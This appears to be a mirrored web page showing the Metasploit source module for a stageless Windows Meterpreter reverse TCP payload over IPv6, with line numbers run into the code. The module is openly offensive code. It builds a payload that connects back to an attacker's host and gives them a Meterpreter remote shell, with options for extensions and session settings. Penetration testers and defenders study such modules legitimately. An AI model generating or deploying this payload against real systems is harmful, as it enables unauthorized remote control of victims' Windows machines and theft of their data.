Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 177734910include Msf::Payload::TransportConfig11include Msf::Payload::Windows12include Msf::Payload::Single13include Msf::Payload::Windows::MeterpreterLoader14include Msf::Sessions::MeterpreterOptions1516def initialize(info = {})1718super(merge_info(info,19'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',20'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',21'Author' => [ 'OJ Reeves' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::Meterpreter_x86_Win27))2829register_options([30OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),31OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),32OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])33])34end3536def generate(opts={})37opts[:stageless] = true38stage_meterpreter(opts) + generate_config(opts)39end4041def generate_config(opts={})42opts[:uuid] ||= generate_payload_uuid4344# create the configuration block45config_opts = {46arch: opts[:uuid].arch,47exitfunk: datastore['EXITFUNC'],48expiration: datastore['SessionExpirationTimeout'].to_i,49uuid: opts[:uuid],50transports: [transport_config_reverse_ipv6_tcp(opts)],51extensions: (datastore['EXTENSIONS'] || '').split(','),52ext_init: (datastore['EXTINIT'] || ''),53stageless: true,54}.merge(meterpreter_logging_config(opts))5556# create the configuration instance based off the parameters57config = Rex::Payloads::Meterpreter::Config.new(config_opts)5859# return the binary version of it60config.to_b61end62end63646566